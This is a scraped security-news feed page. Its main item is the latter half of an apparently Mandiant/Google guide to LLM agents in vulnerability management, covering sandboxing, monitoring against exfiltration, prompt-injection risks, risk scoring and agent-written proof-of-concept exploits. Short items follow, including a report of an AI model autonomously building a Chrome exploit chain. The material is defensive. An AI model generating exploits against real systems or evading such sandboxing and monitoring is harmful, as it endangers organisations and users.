    • Cloud provider limitations and zero data retention (ZDR): Many cloud and LLM providers block or throttle automated offensive security probing by default to prevent abuse. Organizations should establish clear rules of engagement and authorized testing agreements to navigate acceptable use policies. Furthermore, organizations should enforce strict zero data retention (ZDR) agreements with their LLM providers to guarantee that proprietary code and discovered vulnerabilities are never used to train external models.

    • Workload isolation: Agent workloads should execute in strictly isolated, unprivileged containers with dynamically limited privileges. By relying on robust sandboxing to prevent privilege escalation, if an agent hallucinates a destructive command or is hijacked via prompt injection, the blast radius remains contained.

    • Red Teaming: Before deploying autonomous vulnerability scanners that can dynamically spin up sandboxes and execute code, organizations should subject the AI agents themselves to human-led red teaming as part of comprehensive assurance efforts. This validates the agent's resilience against jailbreaks, recursive logic loops, and complex prompt injections, ensuring the security tooling does not become the attack vector.

    • Least-Privileged Machine Identities and Human Controllers: While workloads should be isolated, agents inherently require privileges to generate pull requests and commit code. Security teams should ensure these agents operate under distinct, strictly scoped machine identities that tie back to human controllers to ensure accountability and user consent. Organizations should use short-lived, just-in-time (JIT) tokens bound exclusively to the specific repository and branch under review. This enforces the principle of limited agent powers and ensures that even if an agent’s container is compromised via prompt injection, the threat actor cannot pivot to modify adjacent enterprise codebases.

    • Supply chain resilience for skills: As developers augment AI with third-party skills and model context protocol (MCP) servers, security teams should treat these integrations as untrusted supply chain components. MCP plugins introduce the risk of supply chain poisoning, where a previously benign integration is silently updated with malicious dependencies. Additionally, security teams should evaluate the underlying agent orchestration frameworks themselves (e.g., LangChain, AutoGen) for inherent vulnerabilities, such as session memory poisoning or recursive loop hijacking.

    • Toxic flow analysis (TFA) and Observable Actions: The objective of TFA is to monitor data paths at runtime, ensuring agents do not exfiltrate sensitive internal context to unvetted external endpoints. Agent actions, inputs, reasoning, and outputs must be fully observable and transparently logged. While implementing dynamic taint tracking for LLMs remains a complex architectural challenge, organizations should clearly separate this runtime observability from static supply chain controls. Integrating threat intelligence to hash and vet incoming agent tools provides a necessary baseline for verifying integrity before deployment. However, because static controls cannot address behavior post-deployment, mitigating data exfiltration ultimately requires active runtime monitoring and secure, centralized logging to trace and restrict the actual flow of data.

    Demystifying AI image1

    Figure 1: Visual representation of an isolated AI agent environment using SAIF mechanisms

    By operationalizing these tools within frameworks that demand verifiable integrity and structural resilience, organizations can safely bridge the gap between AI velocity and enterprise defense.

    The need for human-led threat modeling

    While LLMs excel at identifying syntax patterns, source code itself rarely contains the full picture of unwritten business intent. Some organizations attempt to solve this by connecting LLM agents to internal wikis, design documents, and issue trackers using retrieval-augmented generation (RAG).

    While RAG gives the model access to external business context, it is not a perfect fix. Corporate documentation is frequently stale, contradictory, or incomplete. An AI agent might retrieve an outdated architecture diagram and confidently hallucinate a secure path that no longer exists in production. Because LLM agents struggle to resolve conflicting, undocumented human assumptions, human-led threat modeling remains a critical security control across both legacy applications and modern agent workflows.

    Security teams should apply threat modeling during both the pre-build system design phase to establish a secure foundation, and during post-build architecture reviews. While an AI agent might successfully identify a poorly configured internal endpoint locally, a human threat modeler asks the structural question: why does that microservice possess broad database read permissions in the first place? 

    Identifying architectural vulnerabilities requires reasoning about business risk, data sensitivity, and operational constraints. To structure this process, organizations can use industry frameworks like PASTA (Process for Attack Simulation and Threat Analysis) or service offerings like the Mandiant Threat Modeling Security Service to map trust boundaries, uncover structural design flaws, and prioritize compensating controls. Securing fundamental architecture through human oversight is a necessary component when relying on automated agents to find bugs in a poorly designed system.

    Once these AI agents are safely sandboxed, as guided by SAIF, and the architecture is verified through threat modeling, organizations can typically apply them to two different problem spaces: Enterprise Vulnerability Management (to assist in managing the volume of known CVEs in commercial off-the-shelf (COTS) software and infrastructure) and Product Security (to identify vulnerabilities in 1st-party (1P) code).

    Track 1: Enterprise Vulnerability Management

    Foundational security and discovery 

    While the second track of this post explores how AI agents can uncover complex zero-days in custom code, organizations should manage the scale of enterprise infrastructure in tandem with these AI deployments. Even as new AI capabilities dominate headlines, organizations should still address foundational security challenges, such as secrets sprawl, unmanaged service accounts, missing FIDO2 MFA, and legacy VPN concentrators. Although vulnerability exploitation was the primary initial infection vector in intrusions Mandiant investigated last year, threat actors consistently rely on missing foundational controls and unpatched edge devices to secure and escalate their foothold after exploiting a vulnerability.

    Furthermore, AI cannot replace foundational visibility. As security teams deploy AI agents, they should simultaneously close these tactical entry points by maximizing dynamic discovery capabilities like External Attack Surface Management (EASM), Cloud Security Posture Management (CSPM), and Continuous Threat Exposure Management (CTEM). In hybrid and cloud environments, tools like Wiz can be used to map this initial footprint.

    Risk-based vulnerability management 

    Vulnerability management teams are already overwhelmed by the current volume of findings generated by traditional scanners. As organizations scale dynamic discovery tools, such as EASM, CSPM and CTEM, alongside automated AI agents, this influx of findings will compound the problem. To manage this influx, telemetry from these diverse discovery methods must first be normalized and deduplicated. This normalized data serves two purposes: it feeds directly into the risk engine, and it acts as a live overlay to correct stale records in the configuration management database (CMDB). By evaluating the deduplicated vulnerabilities alongside this newly updated asset context and frontline threat intelligence, the RBVM engine calculates a custom risk score that allows security teams to dynamically prioritize remediation.

    A mature RBVM methodology calculates a customized risk score on a 0 to 100 scale using a weighted average. A sample formula for calculating this risk-based score is:

    Final Score = (W_1 * S_vuln) + (W_2 * S_asset) + (W_3 * S_threat)

    The variables and weights (W) are customized to the organization's risk appetite (for example, 0.20 for vulnerability, 0.40 for asset, and 0.40 for threat, summing to 1.0), while the underlying variables (S) are scored on a 0 to 100 scale and defined as follows:

    • Vulnerability severity (S_vuln): The inherent technical severity of the flaw. This is calculated by taking the CVSS Base Score (which natively accounts for confidentiality, integrity, and availability impact) and multiplying it by 10.

    • Asset context (S_asset): A combined metric of exposure and data sensitivity. Scores range from 100 for internet-facing assets holding customer data, down to 25 for internal-only assets with no sensitive data. To translate this impact into monetary terms for non-technical stakeholders, organizations can incorporate Factor Analysis of Information Risk (FAIR) principles into this metric. However, this approach requires highly accurate, continuously updated financial data that many enterprises struggle to maintain at scale.

    • Threat context (S_threat): The real-world urgency of the vulnerability. Scores range from 100 if actively exploited by threat actors relevant to the organization's profile, 75 if a proof-of-concept exists or if it is a vulnerability class easily exploited by autonomous AI agents, down to 25 if the exploit is theoretical and highly complex. Organizations should also map the Exploit Prediction Scoring System (EPSS) probability percentage directly into this variable. This allows the threat score to automatically scale up or down as real-world exploitation telemetry shifts, aligning static vulnerability data with active threat intelligence.

    An asset's customized risk score should directly influence internal remediation service-level agreements (SLAs), unless external compliance-driven mandates, such as CISA Binding Operational Directives (BODs), or relevant equivalents, override internal prioritization. A risk-driven and threat-intelligence-driven vulnerability prioritization methodology will help organizations focus resources on managing and mitigating the most critical security vulnerabilities first. This is an area where LLMs can support the vulnerability management process, particularly by helping teams synthesize unstructured threat intelligence to surface relevant risk contexts more efficiently. Enforcing strict SLOs for patching, while requiring formal risk acceptance documentation for any patching exceptions, will help reduce the number of vulnerabilities available to threat actors and increase the visibility of outstanding risks across the organization. Furthermore, organizations should integrate RBVM data directly into their security orchestration, automation, and response (SOAR) platforms for automated alert enrichment.

    Demystifying AI image5

    Figure 2: Integration points of a risk-based vulnerability management (RBVM) program.

    Containment and Observability

    Modern architecture blueprints must prioritize attack surface reduction under the assumption that vulnerabilities will inevitably be exploited. Moving away from traditional perimeter defenses, organizations should align with zero trust principles, ensuring that security boundaries are established around every asset, workload, and identity.

    A component of this alignment is the implementation of strong authentication principles. Organizations should eliminate implicit trust by enforcing continuous, context-aware authentication and authorization. Utilizing Zero Trust Network Access (ZTNA) solutions, such as Identity-Aware Proxies (IAP), shields critical management interfaces (e.g., SSH, RDP) and internal systems from direct internet exposure, granting access only to verified identities and compliant devices.

    For public-facing applications and APIs, attack surface reduction involves deploying Layer 7 inspection at the load balancer or API gateway level. This hardening layer enforces strict schema validation, intercepting and neutralizing malformed inbound traffic and potential exploits before they can interact with internal application logic.

    Securing the software supply chain is equally vital in modern blueprints, and organizations should align with frameworks like Supply-chain Levels for Software Artifacts (SLSA) across both dependency and build tracks. Security policies should mandate that third-party dependencies are routed through a centralized artifact repository equipped with automated curation services, such as Google Assured Open Source Software (OSS) or an equivalent solution, preventing untrusted code from entering the development lifecycle. Furthermore, maturing toward advanced SLSA build levels (e.g., SLSA level 3) through the implementation of isolation, ephemerality and reproducibility requirements via  ephemeral compute infrastructure for CI/CD runners reduces the likelihood of attacker persistence by ensuring environments are short-lived and automatically cycled.

    To complement these pre-build controls, runtime observability should be established across all production workloads. This requires monitoring both infrastructure-level behavior and the specific runtime libraries actively executing in production, which surfaces true exploitable risk far beyond a static Software Bill of Materials. In tandem with monitoring workloads, organizations should secure how they authenticate by implementing workload identity federation. By removing static credentials and instead using short-lived tokens backed by strong cryptographic identity verification, organizations can reduce the risk of credential theft and unauthorized lateral movement.

    Within the internal environment, microsegmentation should be enforced to break down flat networks into granular security zones. Routing application traffic through a Secure Access Service Edge (SASE) architecture integrates network routing directly with robust identity controls, rendering internal services completely invisible to unauthenticated users and containing threats to their initial point of entry.

    Finally, automated containment and incident response within a zero trust framework must rely on deterministic, auditable tooling. Endpoint detection and response (EDR) platforms and SOAR playbooks should handle high-fidelity containment tasks through hardcoded execution logic. While AI tools accelerate triage and policy recommendation, actual execution capabilities must remain restricted to well-defined, pre-tested workflows to maintain total architectural predictability.

    Demystifying AI image8

    Figure 3: Structural containment and observability architecture

    Track 2: Product Security & Development (1P Code)

    Deterministic and probabilistic tooling

    Integrating LLM agents into vulnerability management and security workflows requires recognizing the differences between deterministic and probabilistic tooling. Traditional SAST and DAST tools utilize fixed methodologies to evaluate vulnerabilities through structural code parsing or definitive runtime observations. LLMs, however, evaluate source code by processing tokens simultaneously to calculate statistical and semantic relationships, rather than tracing deterministic execution tracks.

    While techniques like Chain of Thought (CoT) prompting allow models to bridge this gap by decomposing complex code paths into intermediate reasoning steps, this process remains bounded by architectural limitations. Even when a model possesses a context window large enough to ingest entire repositories, it may experience attention degradation across long inputs, often failing to correctly weight intervening validation or sanitization logic within the prompt. For example, if a variable is tainted on line 10 but sanitized on line 500, attention degradation can cause the model to lose track of the sanitization logic. Furthermore, when enterprise codebases require chunking to fit within context limits, the resulting fragmentation may cause the model to lose track of end-to-end data flows.

    Consequently, probabilistic engines are effective at uncovering localized, static anomalies, such as hardcoded credentials or outdated dependencies, but frequently misjudge complex vulnerabilities split across fragmented chunks or extended context windows. Notable exceptions occur when these probabilistic models are coupled with deterministic feedback loops. For instance, when analyzing C++ memory corruption, an LLM can be equipped with a test harness to iteratively execute code and definitively prove a crash. While these dynamic validation applications are detailed in subsequent sections, the baseline limitation for static analysis across standard enterprise codebases remains: models struggle to consistently evaluate dispersed logic.

    Demystifying AI image4

    Figure 4: Deterministic SAST scanners vs. probabilistic LLMs

    Binary and architectural oracles

    Many security programs are moving toward agent workflows where an agent autonomously spins up a test environment and uses tools to execute payloads and verify its findings. This is a promising approach, but it is important to understand where it is most effective.

    Agent workflows perform well against bug classes with binary and observable oracles, meaning the system provides an objective, 'crash or no crash' feedback loop. For example, if a model is hunting for memory corruption in a C++ kernel, a successful exploit is undeniable: the payload executes, and a resulting crash definitively proves the vulnerability. This explains why the industry is currently seeing a surge in AI-discovered vulnerabilities across memory-unsafe targets like web browsers and operating systems.

    However, enterprise software is heavily dominated by vulnerabilities that require architectural oracles for validation. Vulnerabilities like authorization bypasses, complex business logic flaws, and indirect server-side request forgeries require an understanding of business context and cross-service trust boundaries. If an agent's payload fails to produce a clear outcome, it can't reliably distinguish whether the vulnerability is a hallucination or if it simply constructed the payload incorrectly. An agent's malformed payload might even crash an unrelated background process and cause the model to hallucinate a success and report a false confirmation. Complex enterprise architecture contains unwritten business intent that a probabilistic engine can't inherently know.

    Demystifying AI image3

    Figure 5: Evaluating vulnerabilities against binary vs. architectural oracles

    Targeted deployment and human impact

    Organizations adopting LLMs for vulnerability discovery face a massive staffing challenge. LLMs can generate findings significantly faster than human engineers can triage them. If every LLM-generated alert requires manual review, security teams will quickly face burnout and/or suffer alarm fatigue.

    Rather than indiscriminately pointing agents at all available codebases and risking an influx of unverified output, security teams need a selective deployment strategy. Mature programs should maintain SAST and DAST for baseline hygiene and deterministic rule enforcement, and reserve intensive agent audits for high-impact components with clear binary oracles.

    Organizations can prioritize agent audits on systems where the technology's strengths align with the broader risk profile:

    • Memory-unsafe codebases: Legacy or high-performance components written in memory-unsafe languages such as C, C++, or Assembly are strong candidates for LLM audits. These languages are susceptible to memory corruption flaws, such as buffer overflows and use-after-free conditions. Because these vulnerabilities trigger definitive failure states like segmentation faults, they work well with automated sandboxes where agents can compile the code with memory sanitizers and write proof-of-concept inputs. This approach is also effective for auditing the native extensions where safe languages call unsafe internal libraries, such as Python C extensions or the Java Native Interface (JNI).

    • Systems highly exposed to outside content: First-party data ingestion pipelines, custom API gateways, or proprietary edge proxies. A prerequisite here is direct access to the source code, this strategy is strictly for internally developed or fully open-source codebases where the organization can inspect the logic. Because these systems directly parse untrusted internet traffic, targeting their source code for LLM-driven audits yields the highest risk-reduction ROI.

    • Shared internal libraries and utilities: Core serialization/deserialization packages, common utility functions, and custom middleware wrappers (such as internal message-queue parsers) maintained in-house. Because the enterprise owns the source code for these shared building blocks, agent tools can easily hook into them within automated test harnesses to fuzz inputs and catch low-level logic or parsing bugs with high fidelity.

    • Foundational security boundaries: Internally developed centralized authentication services, custom OAuth providers, and internal credential brokers. While testing complex identity boundaries generates higher logic-based noise, having full access to the source code allows teams to pair agents with deterministic checks to safely triage findings, given that the blast radius of an authentication failure justifies the human effort.

    To filter the noise generated by LLMs, organizations should establish routing rules. Require the agent to generate a fully reproducible, deterministic test harness (such as a compiled binary or a Python test script) that attempts to prove the exploit. This harness must execute automatically in an isolated, monitored sandbox. If the sandbox execution fails (due to a syntax error or a failed exploit), the ticket is discarded, sparing human resources. However, organizations should enforce execution timeouts and iteration limits on these test harnesses. Without hard limits, an autonomous agent attempting to prove a vulnerability can fall into an infinite loop: writing a script, failing, rewriting, and failing again, exhausting API token budgets and compute resources against a single dead-end vulnerability, creating significant cost overruns without advancing the security review. To manage these expenses, organizations should incorporate FinOps principles to balance the compute and API costs of LLM audits against the traditional expenses of manual triage.

    However, a successful execution in the sandbox does not guarantee an actionable, high-priority risk. In practice, autonomous agents frequently produce working PoCs for genuine technical flaws that are ultimately irrelevant; or warrant a lower remediation priority within the context of the system's threat model. For example, the agent might successfully exploit an unreachable dead-code path, or trigger a bug that requires administrative access to execute and yields no further escalation of privilege. Therefore, a human engineer should be assigned to review and prioritize the ticket only if the sandbox registers a successful execution, validating environmental context, reachability, and true business impact as part of the review.

    This workflow reduces the volume of alerts, but it is important to understand that the security team's workload does not disappear. The engineer's primary job shifts from manually hunting for the initial vulnerability to auditing the LLM-generated proof to ensure it represents a meaningful risk rather than an unexploitable or contextually irrelevant finding. Leadership should properly staff and train teams for this new reality. Deploying LLM agents does not remove the need for skilled practitioners; it redirects their workload toward complex validation. Equally important is training teams to recognize the risk of false negatives. A hyper-focus on filtering AI-generated noise can create a false sense of security. If an exploit relies on a novel technique or a zero-day vulnerability that was not heavily weighted in the model's training data, the agent will likely scan right past it in silence. LLMs augment discovery, but they do not guarantee exhaustive coverage.

    When integrating LLMs into SAST triage pipelines, human engineers should also verify the broader architectural integrity. Prompting an LLM with specific SAST warnings can induce contextual narrowing, where the agent becomes hyper-fixated on resolving a localized syntax error and misses broader architectural flaws existing in the same file. Furthermore, if the agent's mandate extends beyond discovery to automated remediation (such as writing and proposing code fixes), this human-in-the-loop validation becomes critical to ensure the LLM does not inadvertently introduce new regressions or bypass intended business logic.

    Demistiying Image 6 New

    Figure 6: Flowchart outlining the targeted LLM deployment and triage workflow.

    Remediation and hardening

    LLM-assisted code remediation

    A primary goal of integrating large language models (LLMs) into the software development lifecycle is automated remediation. To achieve this, organizations are deploying these capabilities through two primary execution methods: directly within the integrated development environment (IDE) or as a centralized pipeline runner. Examples include CodeMender, although as of time of writing, it is not publicly available.

    IDE-integrated method 

    This method shifts remediation as far left as possible by operating as an active pair-programmer. Tools running continuous static analysis in the background of the IDE surface vulnerabilities directly to the developer via editor diagnostics like inline indicators or hover tooltips.

    • Localized scope: The developer can trigger the LLM agent to analyze the localized data flow and generate a targeted patch (such as implementing parameterized SQL queries). By constraining the LLM to localized, syntax-level fixes, the scope of the change remains contained. This prevents the agent from attempting sprawling, multi-file refactors that frequently break complex architectural logic.

    • Human-in-the-loop: The developer reviews the AI-generated patch before the code is committed.

    • Managing false positives: Local IDE agents allow developers to manage false positives dynamically. Suppressing alerts anchored to specific line text reduces alert fatigue and preserves developer trust.

    CI/CD runner method 

    The runner method executes asynchronously within the CI/CD pipeline to use an LLM to review committed code and automatically propose remediation.

    • Restricted execution and deterministic validation: Asking a centralized runner to automatically rewrite a complex, multi-file authorization flaw directly in the main branch introduces a high risk of breaking logic errors. To mitigate this, agents must be restricted to generating pull requests (PRs). Once a PR is generated, it must automatically execute standard regression suites alongside the deterministic test harness. By rerunning the initial PoC against the patched code, the workflow repurposes the exploit script as a validation oracle to prove the vulnerability has been remediated. A human engineer then reviews the PR to validate the architectural logic before merging.

    In all cases security teams should define a clear boundary between the two methods rather than rely on a single approach. IDE agents provide immediate, syntax-level support. They catch and resolve low-complexity errors locally before developers commit code. Centralized CI/CD runners handle broader organizational baselines. They propose complex, repository-wide fixes for vulnerabilities that bypass local environments.

    Post-deployment controls 

    Even with human review and deterministic test harnesses, AI-generated patches can still introduce logic regressions in production. Organizations should implement strict post-deployment controls:

    • Automated rollbacks: Treating LLM-generated code with the same post-deployment scrutiny as any major architectural change ensures that if an unforeseen regression traverses the CI/CD pipeline, the environment can revert to a known good state.

    • Mitigating model drift: Relying on managed AI services introduces the ongoing risk of model drift. To prevent silent weight updates from breaking test harnesses, organizations need to pin specific model API versions to frozen releases. When a pinned version reaches its end-of-life, organizations will face a forced migration. Mitigating this pipeline fragility requires combining model pinning with deterministic regression suites.

    • Compliance and auditability: If an AI agent automatically closes a security ticket or generates a patch in the CI/CD pipeline, organizations should maintain immutable audit logs to satisfy frameworks like SOC 2 ,PCI-DSS, FedRAMP, and CMMC. National security deployments must also account for data sovereignty requirements. This logging should record the specific model version that proposed the fix, the deterministic test results that validated it, and the human engineer who approved the merge. Furthermore, because emerging legislation like the EU AI Act emphasizes human oversight for high-risk applications, security teams should carefully evaluate how autonomous remediation workflows align with these evolving global regulatory standards.

    demistifying image 7

    Figure 7: Flowchart demonstrating the difference between local IDE AI remediation and centralized CI/CD pipeline remediation.

    Conclusion

    Leveraging LLMs in vulnerability management is a multi-layer solution: Integrating it requires separating workflows by layer. At the enterprise infrastructure level, Risk-Based Vulnerability Management (RBVM) and exposure management are necessary to process the volume of findings and configuration drift. At the product and code security level, LLM-enabled vulnerability assessment and remediation must operate alongside foundational deterministic controls, such as SAST and DAST, to audit custom, open-source, or third-party code.

    Although LLMs can help manage technical debt and accelerate vulnerability discovery, they do not replace secure-by-design principles. The fact that LLM agents are proving exceptionally capable at identifying and exploiting localized memory corruption in memory-unsafe codebases, alongside other primary vectors, should serve as a wake-up call. 

    As a long-term strategy aligned with NSA guidance on Software Memory Safety, organizations need to phase memory-safe languages into new internal development. LLMs are beginning to expand what is possible here by reducing the manual labor required for code migration. Converting existing C or C++ codebases to Rust has historically been unrealistic due to the large volume of engineering hours needed. While fully automated translation is not a turn-key solution, using LLMs to assist engineers with the bulk of the conversion can make these long-term migrations operationally viable. Beyond internal efforts, organizations should use procurement requirements to incentivize vendors to reduce their reliance on memory-unsafe languages and establish secure configuration defaults over time. Bridging the gap between AI velocity and enterprise defense means building an automated pipeline to manage the current backlog, while architecting systems where entire classes of vulnerabilities and misconfigurations are eliminated by design.

    Acknowledgements

    This analysis would not have been possible without the assistance of Google Threat Intelligence Group (GTIG) and other broader Google teams.

    ]]>         <![CDATA[Driving Sovereign Digital Transformation: SUSE and Mesiniaga Partner to Advance Cloud-Native Infrastructure in Malaysia]]> https://tsecurity.de/de/3673703/unix-server/driving-sovereign-digital-transformation-suse-and-mesiniaga-partner-to-advance-cloud-native-infrastructure-in-malaysia/ https://tsecurity.de/de/3673703/unix-server/driving-sovereign-digital-transformation-suse-and-mesiniaga-partner-to-advance-cloud-native-infrastructure-in-malaysia/ Thu, 16 Jul 2026 16:01:16 +0200 🐧 Unix Server tsecurity.de     SUSE and Mesiniaga have officially signed a Memorandum of Understanding (MoU) aimed at accelerating the adoption of secure, scalable, and enterprise-grade open source technology across Malaysia. By combining SUSE’s innovative software stack with Mesiniaga’s deep local deployment and support expertise, this strategic partnership delivers a robust combination of Cloud-Native Containerization and modern virtualization [
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    The post Driving Sovereign Digital Transformation: SUSE and Mesiniaga Partner to Advance Cloud-Native Infrastructure in Malaysia appeared first on SUSE Communities.

    ]]>         <![CDATA[Nokia: KI verdoppelt Mobilfunknetz-KapazitĂ€t ohne neue Hardware]]> https://tsecurity.de/de/3673082/it-security-nachrichten/nokia-ki-verdoppelt-mobilfunknetz-kapazitaet-ohne-neue-hardware/ https://tsecurity.de/de/3673082/it-security-nachrichten/nokia-ki-verdoppelt-mobilfunknetz-kapazitaet-ohne-neue-hardware/ Thu, 16 Jul 2026 12:23:34 +0200 📰 IT Security Nachrichten tsecurity.de Mobilfunk, Lte, 5G, Deutsche Telekom, Telekom, Vodafone, Provider, Netzausbau, O2, Telefonica, Mobilfunkanbieter, Netzbetreiber, Mobilfunkbetreiber, Telekommunikationsunternehmen, Mobilfunknetz, Antenne, Sendemast, Funkmast, Handymast, Mobilfunkmast, Sendestation Nokia hat gemeinsam mit Nvidia die nach eigenen Angaben weltweit erste kommerzielle KI-native Plattform fĂŒr Mobilfunk-Zugangsnetze vorgestellt. Mit der neuen Lösung sollen Mobilfunkbetreiber die KapazitĂ€t ihrer Netze deutlich zu steigern können. (Weiter lesen)]]> <![CDATA[New agentic compute patterns]]> https://tsecurity.de/de/3672922/ai-nachrichten/new-agentic-compute-patterns/ https://tsecurity.de/de/3672922/ai-nachrichten/new-agentic-compute-patterns/ Thu, 16 Jul 2026 11:19:03 +0200 🔧 AI Nachrichten tsecurity.de

    For a decade, Kubernetes was the right answer. It organized containers, scaled services horizontally and gave platform teams a shared vocabulary for running software in production. It abstracted away enough of the underlying complexity that engineers could stop thinking about servers and start thinking about services. Most cloud-native infrastructure today is built on top of it, directly or in spirit, and EKS made that model the default for the majority of enterprise teams running workloads on AWS.

    The workload that defined that era was the stateless HTTP request, fast in, fast out, disposable. A user action triggers a request, the request hits a service, the service returns a response and the container is done. Kubernetes was optimized for that pattern down to the scheduler internals: Bin-pack containers onto nodes, autoscale on CPU and memory, evict and reschedule when something goes wrong. The whole system is tuned around the assumption that individual units of work are short, stateless and interchangeable.

    That assumption no longer holds for the workloads that matter most right now.

    The agent workload is structurally different

    Agents are long-running, stateful processes. They reason across time, call external tools, spawn subprocesses, write and execute code, and make decisions that depend on what happened five steps earlier in the same task. A single-agent workflow might run for minutes or hours, touching a dozen external systems and generating intermediate outputs that subsequent steps depend on. The compute layer for that kind of work needs to do things the old model was never asked to do. That is the new pattern: Execution infrastructure designed around agent semantics rather than request semantics.

    The Kubernetes community itself has acknowledged this mismatch. In March 2026, Kubernetes SIG Apps published an introduction to Agent Sandbox, a new CRD-based abstraction designed specifically for singleton, stateful agent workloads. The framing is direct: The ecosystem is moving from short-lived, isolated tasks to deploying multiple, coordinated AI agents that run continuously, and mapping those workloads to traditional Kubernetes primitives requires an entirely new abstraction. The fact that the Kubernetes maintainers built a dedicated primitive for this, rather than recommending teams compose one from existing resources, is itself the clearest signal that agent execution does not fit the old model.

    What agent execution actually requires

    Concretely, it requires four things. First, isolated execution environments that provision in milliseconds, not minutes, so each agent task gets its own sandbox for code execution and tool calls without blocking the reasoning loop. The difference between a two-second environment and a two-minute environment is not a performance optimization; it determines whether the architecture is viable at all. Second, durable state management across the full task lifecycle, so an agent can pause, hand off or resume without re-initializing from scratch and burning tokens to reconstruct context it already built. Third, coordination primitives for multi-agent work: The ability to spawn subagents, pass structured outputs between them and track task dependencies across a graph of concurrent processes. Production agent systems are rarely single agents; they are pipelines of specialized agents with handoffs that need to be reliable and inspectable. Fourth, credentials and secrets management that travel with the execution context, so agents can authenticate to external services securely without exposing credentials in the task definition, logs or the environment variables of a shared container.

    The mismatch shows up fast in production

    Kubernetes and EKS expose the mismatch quickly in practice. Pod eviction terminates an agent mid-task with no clean recovery path. Autoscaling reads CPU utilization as the load signal, but an agent holding a long inference connection looks idle to the scheduler even when it is doing the most consequential work in the pipeline. Provisioning a new environment takes 45 seconds to two minutes on a well-tuned cluster; agent workloads need that in under two seconds or the reasoning loop stalls and the user experience degrades visibly. These are not edge cases or misconfigurations. They are the normal operating conditions for production agent workloads running on infrastructure that was not designed for them.

    The utilization data makes the broader cost picture even starker. The 2026 State of Kubernetes Optimization Report from CAST AI, drawn from analysis of over 23,000 production clusters across AWS, Azure and GCP, found average CPU utilization at 8 percent, down from 10 percent the year prior. Memory utilization fell from 23 to 20 percent. CPU overprovisioning jumped from 40 to 69 percent year over year. These numbers reflect clusters running traditional workloads, and the pattern is worsening, not improving, as environments scale. Agent workloads compound this problem further. An agent holding an open inference connection or waiting on a tool call registers as idle to a scheduler that reads CPU and memory as the only meaningful load signals. The infrastructure responds to the wrong metric, overprovisioning capacity for demand it cannot measure, while the actual bottleneck, environment provisioning latency and state continuity, goes unaddressed.

    Security is not the same problem it was before

    Agent workloads change the threat model at the infrastructure level. A compromised stateless service exposes a narrow surface defined by its API contracts. A compromised agent exposes every system it can reach, every credential it holds and every action it is authorized to take on behalf of the user. Agents generate and execute their own code, make non-deterministic tool-call decisions and accumulate context across long-running sessions. Standard container namespacing does not contain that kind of risk. Kernel-level isolation, default-deny network egress, scoped credentials per session and agent-aware observability are not optional hardening steps. They are baseline requirements for running agents in production.

    What teams that ship agents have already figured out

    Some of the clearest evidence for this shift comes not from infrastructure vendors but from product engineering teams running agents at scale on their own code. In late 2025, Ramp’s engineering team published a detailed account of building Inspect, their internal background coding agent. Each Inspect session runs in a sandboxed VM with a full-stack development environment and deep integrations across their observability, CI, and deployment tooling. The architecture requirements map almost exactly to the four primitives above. Filesystem snapshots keep sessions starting in seconds rather than minutes. Sessions are isolated and stateful. The agent can run tests, review telemetry, query feature flags and visually verify frontend changes in a real browser. And the whole system supports unlimited concurrency, so engineers can spin up ten parallel sessions exploring different approaches to the same problem without contention.

    The results speak for themselves. Within months of launch, roughly 30 percent of all pull requests merged to Ramp’s frontend and backend repositories were written by Inspect. That level of adoption was not mandated. It happened because the execution environment was fast enough, capable enough and well-integrated enough that the agent was strictly better than a local workflow for a meaningful share of tasks. The key insight from the Ramp case is not about the model. It is about the execution layer. As their team put it, session speed should only be limited by model-provider time-to-first-token; everything else, like cloning and installing, needs to be done before the session starts. That is a statement about infrastructure, not intelligence.

    The ecosystem is catching up, but defaults are sticky

    None of that is a criticism of the tools. Kubernetes solved exactly the problem it was designed for, and it solved it well. The issue is that infrastructure defaults are sticky. Teams inherit them, build on top of them and optimize within their constraints long after the underlying workload has changed. The Kubernetes community’s own response, the Agent Sandbox project under SIG Apps, validates the thesis that a new abstraction is necessary. The new primitives the community is building include warm pools for near-zero cold starts, lifecycle management for suspending and resuming idle agents without losing state, and pluggable kernel isolation for secure execution of untrusted code. These are not incremental improvements to existing resources. They are net-new abstractions that acknowledge the old model does not stretch to fit.

    But adoption of purpose-built agent infrastructure remains early. Enterprises building agent pipelines today are largely running a request-oriented orchestration model against an execution-oriented workload, and the mismatch shows up in task failure rates, runaway costs and debugging cycles that have no good tooling because the observability layer was also designed for stateless services.

    The structural advantage is available now

    The infrastructure to close that gap exists now. The prerequisite is recognizing that agent execution is a first-class compute pattern with its own primitives and its own requirements, not a variant of the stateless service model that defined the last decade. Teams that make that shift early will have a meaningful structural advantage. The ones that do not will spend the next two years wondering why their agent systems are unreliable at a scale that should be tractable.

    This article is published as part of the Foundry Expert Contributor Network.
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    ]]>         <![CDATA[GPT-5.6 Sol Ultra Builds Full Chrome Exploit Chain Using 74 AI Subagents]]> https://tsecurity.de/de/3672632/it-security-nachrichten/gpt-56-sol-ultra-builds-full-chrome-exploit-chain-using-74-ai-subagents/ https://tsecurity.de/de/3672632/it-security-nachrichten/gpt-56-sol-ultra-builds-full-chrome-exploit-chain-using-74-ai-subagents/ Thu, 16 Jul 2026 09:24:36 +0200 📰 IT Security Nachrichten tsecurity.de OpenAI’s GPT-5.6 Sol Ultra model independently constructed a complete, working exploit chain against a recent version of Google Chrome, escalating from a memory corruption bug to arbitrary native code execution without step-by-step human direction. Documented by hacktron, the test used Chrome 149.0.7827.201 and its underlying V8 engine at version 14.9.207.35, with the model given the [
]

    The post GPT-5.6 Sol Ultra Builds Full Chrome Exploit Chain Using 74 AI Subagents appeared first on Cyber Security News.

    ]]>         <![CDATA[How Rathbones Asset Management built strong data foundations]]> https://tsecurity.de/de/3672630/it-security-nachrichten/how-rathbones-asset-management-built-strong-data-foundations/ https://tsecurity.de/de/3672630/it-security-nachrichten/how-rathbones-asset-management-built-strong-data-foundations/ Thu, 16 Jul 2026 09:24:33 +0200 📰 IT Security Nachrichten tsecurity.de